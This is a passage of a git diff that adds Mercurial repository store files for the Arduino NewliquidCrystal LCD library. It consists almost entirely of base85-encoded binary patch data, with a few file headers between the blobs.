zpT#lh94lnBgM*Jc+`W#T*Y(*#^jWqmX)WuBM=HCzrZx_FGp{f)DNbGVCIpvGH!5R3 z%nvU+>dbJNGXKfHtxPrdcg*Uw7`%k;Pu+fK3 z{I+)V2`$JY@t$&-A4bTcGxG-aeD*7IK8UBDN?0fEPd6k;AmTPqN`k;kRYk$i zCSd2bkn@E4+4QYqsCNg@wo8GeN$ZZw{7O9jNZlA@1GI1~LOH+uZYAbko)xEF7NzLm zeLli1QHg+YDVrg`v&RYAgL_yrV)xWAo@yi_a5eaFKJELQ&`9c$w~{04_^Dql9@>{{ zr7vtT5e7<v=d#Z9iv)OD9fAC|#cT0k7##))Nr)c8$ZPGT)q)UOs7V~}8 zqwC?r<10F12XCt`M&6vW^~D@+hhNxJ&*W;uFy+z%H}9VxgJHHJf>FpX`^@F1li_Nlbd^`3b$5YrUW1TF*tsX0e#}2w5 zkd`wlwKVw1?@ZRWE4VYogg4A+Ip65$NcM88xo(Yl{Axr`s5ie;pXFhUNzp1Vi}$`0 z$818SLiP`_J@+G4J6z&I*N;s%_UL*~EDFqvEFC5L`et&>#0XalHS>x-%CL2AE1QQe z{=x;IQqYv~H0Dlzk)K|Lt0x8;EKlT8X>239Gi|OknqYXEBxP+V$JUchjIU_DGMa++ zy)w6klr37`NA#Fk00E~XxdS^p0R3PX0623c0SO7>w7J>-tWr`P#^U0&xBL2r-v3xp z`m=V6$v9?`W>4~TmRawmSx)gvH@>p?JKDMKO>wyp<*iwje7 za%3?2DaPtZ6$LbEZ;r-D(;Kud1E*kC0ktlxAtHVcWT-^a9F$2X49p>MfMo7K2}%a6 zP7o=`4L#B)c(Y%fiurmLa}{g(((Qgd5)b z5_@{2`uZfy@IFko(4CO0j&y*8aQ8#%}AO&dKr9jfTJ6&dtiX1JC72I_n3({7~>mwytxl-stVlX; zk?l+XwIlw>=hWtL{3f%_8I;mRMciIo)#nI&3Q0(_9})C=ON zQczKSZJ&yitqh0694crG`<9NT_2W?I+bwMsm`JAF88o2*o=2M|79Q9TQi;PwUg-`& mSzCtZ!V{Wa=AAN literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal.h.i b/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal.h.i new file mode 100644 index 0000000000000000000000000000000000000000..1ed010cb146438b6da40747541c952b17da03fff GIT binary patch literal 10725 zcmZ8{1z23Y^7rCS7k77eDDEv<+@-j?Tk*xUI4oY=tw3>iN}&acTagwhUW)#AdAaw# z-#5>bnK^lW$s{w$Bxlb8U;r?HCxVj!08l^uqXS?cpXuuhvVPbjUT z`PXO6lkfqrYOgylaRLL4A5g2_*_Kq^5v~FqQf%bVh?AISl(n=9lU@$#*Jm9yTh2ZF zF(Sowz;1ryZ}1K2w)^(DTR5LAL0(3hv=HlWUee4i3Dvz%cXL9Y93%Vp8gr?zmnd8} z66L8meE544D#E|MU?AQ8JsWMb^hjnZbW5_}Z@H*#43ec!6*cR`ap@6;Hov@= zZtiXWXoX&%2eBWgRXk9M3{X+fUtU z56_q<;RE(eYEXdZ0!ECy>b$`B3X8{LWvxx>P{8c)kF@m0F{R8nq)QQ5%cRa^Q}>6o<09o8E}b=GDEiAr15mDT1t+TI52rfMRUDexNwz*bPI-K% zyWROUtjD%$dZq)@_|wc}xsk8R6f_o+_F4G#TIuCMS>f0An``j93EVrwI*dGX7xx+? z&W|fH5kYXQ$EE?XH8ZLDtH}476sRt~TXybo17-vFU#m{&LwGLXjHdi+p>u~9hH{t? z001crszC@IQedENlgj8}G8Ip!+ymUx2}E+d@7YaEdqO-jh}+aB6yPL*q_prUFHS^! zlH!q13xL$*yr=k_HoakTizBqcFNMkWk|TqD^!1#wZ&CO(S~tmG6{5i{Yqfmqnv<0~ z%1pYUlFz@vqPlgyc9UQtJ0X}T&eONuM*I0?UKZ!Ow@7}ukHip|#XLC&F43m9)X*6NjetMa0tg{qxXi`_9{bsdvU%(I3 zM+~5J|5;18*aFXH-I<9dh}IB|J^x%)6_NI$dRBFxKpRNL45a=gWP)?f;X6|18iH3& zE{ULxNhtY!q7`vIaEPjI{Mt!(C}62Q5mp_E-lFrr*zGlXnu1A=w8D?PB!!x!nn(_iV4Ldk+RgbgG=wy5W{ye| z>`~oY2G2uI<8xUjwqGia501~cBvrI2MNnd_UF93XVzFS)(r2=i8s(9^4d)H2x1O3h zL3@>jTmX#&LMN1CFaQ9o1yBt_(Dnax{&+HE2qQJx*&-505Gfm!^U&5xvOFQ4nGbkK zU)h0F9xso!BX$RFYZ3+zCOOMS*>YLa5+9#XsKUTQ z7g>xRxVC6gbx4f@GJ|PMℑ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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal__4bit.cpp.i b/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal__4bit.cpp.i new file mode 100644 index 0000000000000000000000000000000000000000..de975ad1dfb37949f4c02454a5a5c9bd9781d975 GIT binary patch literal 3819 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 D(e4;Z literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal__4bit.h.i b/libraries/NewliquidCrystal/.hg/store/data/_liquid_crystal__4bit.h.i new file mode 100644 index 0000000000000000000000000000000000000000..a1f82f526554f34dc4ff0b19c6bb2eb50a8c4cef GIT binary patch literal 2192 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 